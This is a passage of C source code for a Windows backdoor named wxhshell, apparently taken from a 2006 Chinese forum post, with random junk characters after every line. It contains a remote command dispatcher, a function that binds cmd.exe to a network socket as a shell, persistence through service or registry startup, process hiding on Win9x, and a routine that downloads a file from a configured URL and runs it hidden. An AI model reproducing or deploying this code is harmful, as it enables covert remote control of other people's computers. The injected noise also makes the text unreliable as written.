  %VR{<{3f  
  // 帮助 ,1~zMzw^  
  case '?': { VSV]6$~H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YPY,g R  
    break; ]$^HGmP  
  } ME]89 T &  
  // 安装 mQ`2c:Rn&7  
  case 'i': { -J#RGB{7  
    if(Install()) -m>3@"q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R-OO1~W=  
    else 8d Fqwpw8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y hmveV  
    break; S&]r6ss  
    } ; 8eGf'  
  // 卸载 gV h&c 4  
  case 'r': { pBv,,d`  
    if(Uninstall()) ^>Z7."uGY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B3?rR-2mEE  
    else {^uiu^RAc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jAy2C&aP  
    break; AcXVfk z  
    } % a.T@E  
  // 显示 wxhshell 所在路径 kZrc^  
  case 'p': { PN<Vqt W  
    char svExeFile[MAX_PATH]; EfpMzD7/(  
    strcpy(svExeFile,"\n\r"); Ij =NcP  
      strcat(svExeFile,ExeFile); ]SPuNBsy)  
        send(wsh,svExeFile,strlen(svExeFile),0); :2 :VMIa  
    break; vZ57 S13  
    }  iD])E/  
  // 重启 z#P`m,~t0  
  case 'b': { )8aHj4x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ty~z%=H  
    if(Boot(REBOOT)) .\ya  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9^?muP<A  
    else { soQ[Zg4}  
    closesocket(wsh); O`GF |  
    ExitThread(0); r%ebC   
    } P?n4B \!  
    break; ^EkxZ4*g  
    } 'r\RN\PT  
  // 关机 I^u~r.  
  case 'd': { Kr1Y3[iNv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oz,.gP%  
    if(Boot(SHUTDOWN)) l Ib d9F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !]D`|HoW  
    else { UQ7]hX9  
    closesocket(wsh); In1n.oRFn^  
    ExitThread(0); R4JfH  
    } ElDeXLr'  
    break; j&Xx{ 4v  
    } h*!oHS~/l  
  // 获取shell PUZcb+%]h  
  case 's': { 6~2upy~e  
    CmdShell(wsh); *mJ#|3I<  
    closesocket(wsh); =_ N[mR^  
    ExitThread(0); qnWM  %k  
    break; -OU{99$aS  
  } (y&sUc9  
  // 退出 B9$f y).Gp  
  case 'x': { 'kY/=*=Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); / j%~#@  
    CloseIt(wsh); M eep  
    break; *l"CIG'  
    } zn&ZXFgN  
  // 离开 ePJ_O~c  
  case 'q': { GbZ~e I`,2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WcY_w`*L  
    closesocket(wsh); 42 lw>gzr!  
    WSACleanup(); @|wU @by{  
    exit(1); L]!![v.VY  
    break; #ley3rJW]  
        } !!V1#?0jw  
  } -Q JPJ.  
  } v7KBYN  
{7]maOg>7J  
  // 提示信息 pmWy:0R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v@q&B|0  
} .|hsn6i/-  
  } |W=-/~X  
">3t+A  
  return;  8 zlvzp  
} G7v<Q,s  
iDl#foXa`  
// shell模块句柄 oPni4^g i  
int CmdShell(SOCKET sock) zaLPPm&f  
{ }+pwSjsno  
STARTUPINFO si; D& o\q68W  
ZeroMemory(&si,sizeof(si)); x0ipk}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +L.D3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FJCORa@?_  
PROCESS_INFORMATION ProcessInfo; GK1nGdT]  
char cmdline[]="cmd"; Y*\h?p[,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8IxIW0  
  return 0; ~xsJML  
} "JLE  
3BD&;.<r  
// 自身启动模式 !u8IZpf  
int StartFromService(void) S5ai@Ks f  
{ $%"hhju  
typedef struct N"G\ H<n  
{ r6 3l(  
  DWORD ExitStatus; fpC":EX@r  
  DWORD PebBaseAddress; k+P3z&e  
  DWORD AffinityMask; (hZNWQ0  
  DWORD BasePriority; [M%? [E}>  
  ULONG UniqueProcessId; &oHr]=xA  
  ULONG InheritedFromUniqueProcessId; +>*=~R  
}   PROCESS_BASIC_INFORMATION; oQm XKV+[v  
r nr-wUW@  
PROCNTQSIP NtQueryInformationProcess; mTWd+mx  
)8#-IXxp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S(xs;tZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'Rsr*gX#  
_D?/$D7u#%  
  HANDLE             hProcess; fjy\Q  
  PROCESS_BASIC_INFORMATION pbi; ]u$tKC  
W'"?5} (  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )uo".n|n~B  
  if(NULL == hInst ) return 0; 3%GsTq2o  
$|J+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7 L ,`7k|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7#G!es  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Et(H6O 8  
j n SZ@u  
  if (!NtQueryInformationProcess) return 0; H' /V<%  
/j$pV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @sZ7Ka  
  if(!hProcess) return 0; X@tA+   
I(7iD. ^:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RHNAHw9  
s[h;9 I1w  
  CloseHandle(hProcess); ftPhE)i  
LA59O@r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cl]W]^q-Cx  
if(hProcess==NULL) return 0; Te?PYV-  
&-Wt!X 3  
HMODULE hMod; 8N9,HNBT$  
char procName[255]; mk!8>XvM  
unsigned long cbNeeded; w42{)S"  
u?MhK# Mr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <D)@;A  
',WJ'g  
  CloseHandle(hProcess); c U(z5th  
HDzeotD  
if(strstr(procName,"services")) return 1; // 以服务启动 @}!?}QU  
{v=[~H>bt  
  return 0; // 注册表启动 dnwzf=+>e  
} V( 0Y   
`RE>gX  
// 主模块 G9QvIXRi  
int StartWxhshell(LPSTR lpCmdLine) n7Eh!<  
{ BxlhCu  
  SOCKET wsl; PHI c7*_  
BOOL val=TRUE; *?uUP  
  int port=0; N: 38N  
  struct sockaddr_in door; o~9*J)X5i  
i>CR{q  
  if(wscfg.ws_autoins) Install(); >!" Sr3,L  
Nv;'Ys P  
port=atoi(lpCmdLine); W1 xPK*  
tK{#kApHGG  
if(port<=0) port=wscfg.ws_port; <zvtQ^{]  
_4SZ9yu  
  WSADATA data; # .(f7~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lV 4TFt ,  
7SYe:^Dx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d#bg(y\G|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )T gfd5B  
  door.sin_family = AF_INET; 7p':a)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); . a @7  
  door.sin_port = htons(port); mSu$1m8  
~~k0&mK|Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s}` |!Vyl  
closesocket(wsl); cyHbAtl  
return 1; 3PRU  
} U*sQ5uq  
S\t!7Xs%*U  
  if(listen(wsl,2) == INVALID_SOCKET) { ]|w~{X!b4  
closesocket(wsl); L1Yj9i  
return 1; 'w72i/  
} 1'TS!/ll];  
  Wxhshell(wsl); = B;qy7?  
  WSACleanup(); P~:^bU^F7  
T8&sPt,f  
return 0; u R5h0Fi  
`}sFT:1&  
} rZ-< Ryg  
q^wSM  
// 以NT服务方式启动 Hi~)C\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G^K;+&T  
{ 4K`b?{){+a  
DWORD   status = 0; 3y2L! &'z  
  DWORD   specificError = 0xfffffff; _<c}iZv@  
.:Wp9M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `<<9A\Y-f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >>C S8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RX?!MDO  
  serviceStatus.dwWin32ExitCode     = 0; 3%o}3.P,:@  
  serviceStatus.dwServiceSpecificExitCode = 0; Lp|n)29+du  
  serviceStatus.dwCheckPoint       = 0; y,n.(?!*  
  serviceStatus.dwWaitHint       = 0; xpuTh"ED  
`#`C.:/n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ..'"kX:5  
  if (hServiceStatusHandle==0) return; eA Fp<2g  
x]%,?Vd?  
status = GetLastError(); k6z]"[yu  
  if (status!=NO_ERROR) \k=%G_W  
{ Oz]$zRu/0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]qq2VO<b  
    serviceStatus.dwCheckPoint       = 0; .Sa=VC?EZ  
    serviceStatus.dwWaitHint       = 0; 0Db=/sJ>  
    serviceStatus.dwWin32ExitCode     = status; HEa7!h[a'  
    serviceStatus.dwServiceSpecificExitCode = specificError; gC kR$.-E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &%/T4$'+Y+  
    return; Q\xDAOEL  
  } ?LU>2!jN  
V7gL*,3>=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eUR+j?5I  
  serviceStatus.dwCheckPoint       = 0; N;!!*3a9=  
  serviceStatus.dwWaitHint       = 0; awz.~c++  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7) RvBcM  
} OuWRLcJ!  
-T+'3</T  
// 处理NT服务事件,比如:启动、停止 a7u*d`3X=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z}$.A9yn  
{ +`B^D  
switch(fdwControl) !a!4^zqp  
{ {dE(.Z?]!#  
case SERVICE_CONTROL_STOP: RK$(  
  serviceStatus.dwWin32ExitCode = 0; 3tUn?; 9B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L|-|DOgw  
  serviceStatus.dwCheckPoint   = 0; 3X',L*f  
  serviceStatus.dwWaitHint     = 0; Uy)pEEu  
  { r6aIW8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2* T Ir  
  } D88IU9V&n  
  return; r[7*1'. p  
case SERVICE_CONTROL_PAUSE: ,->5 sJ{U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N;>s|ET  
  break; " L,9.b  
case SERVICE_CONTROL_CONTINUE: q%vel.L]%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }K,3SO(:  
  break; P (Y\l  
case SERVICE_CONTROL_INTERROGATE: [4dX[  
  break; 1Id"|/b%$  
}; -G_3B(]`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {KEmGHC4R  
} H%Lln#  
m,]9\0GUd  
// 标准应用程序主函数 9 p^gF2?k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]8Xip/uE  
{ Clap3E|a  
Ja/  
// 获取操作系统版本 [[';Hi^  
OsIsNt=GetOsVer(); aZtM _  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V joVC$ZX  
oY; C[X  
  // 从命令行安装 "K+EZ%~<  
  if(strpbrk(lpCmdLine,"iI")) Install(); \&Bdi6xAy  
9GTp};Kg  
  // 下载执行文件 d:_;  
if(wscfg.ws_downexe) { d1 kE)R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~>~qA0m"m  
  WinExec(wscfg.ws_filenam,SW_HIDE); f3>DmH#  
} U. $Th_  
Y5"HKW^  
if(!OsIsNt) { S>j.i  
// 如果时win9x,隐藏进程并且设置为注册表启动 R)isWw4  
HideProc(); 6P,uy;PJ  
StartWxhshell(lpCmdLine); 3r,Kt&2$  
} V 7ZGT  
else Y)(yw \&v  
  if(StartFromService()) `}bvbvmA  
  // 以服务方式启动 <nN# K{AH  
  StartServiceCtrlDispatcher(DispatchTable); j}(m$j'  
else "oF)u1_?  
  // 普通方式启动 G!%8DX5  
  StartWxhshell(lpCmdLine); J ^<uo (  
88?O4)c  
return 0; &rX#A@=  
}
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只看该作者 1 发表于: 2006-10-10
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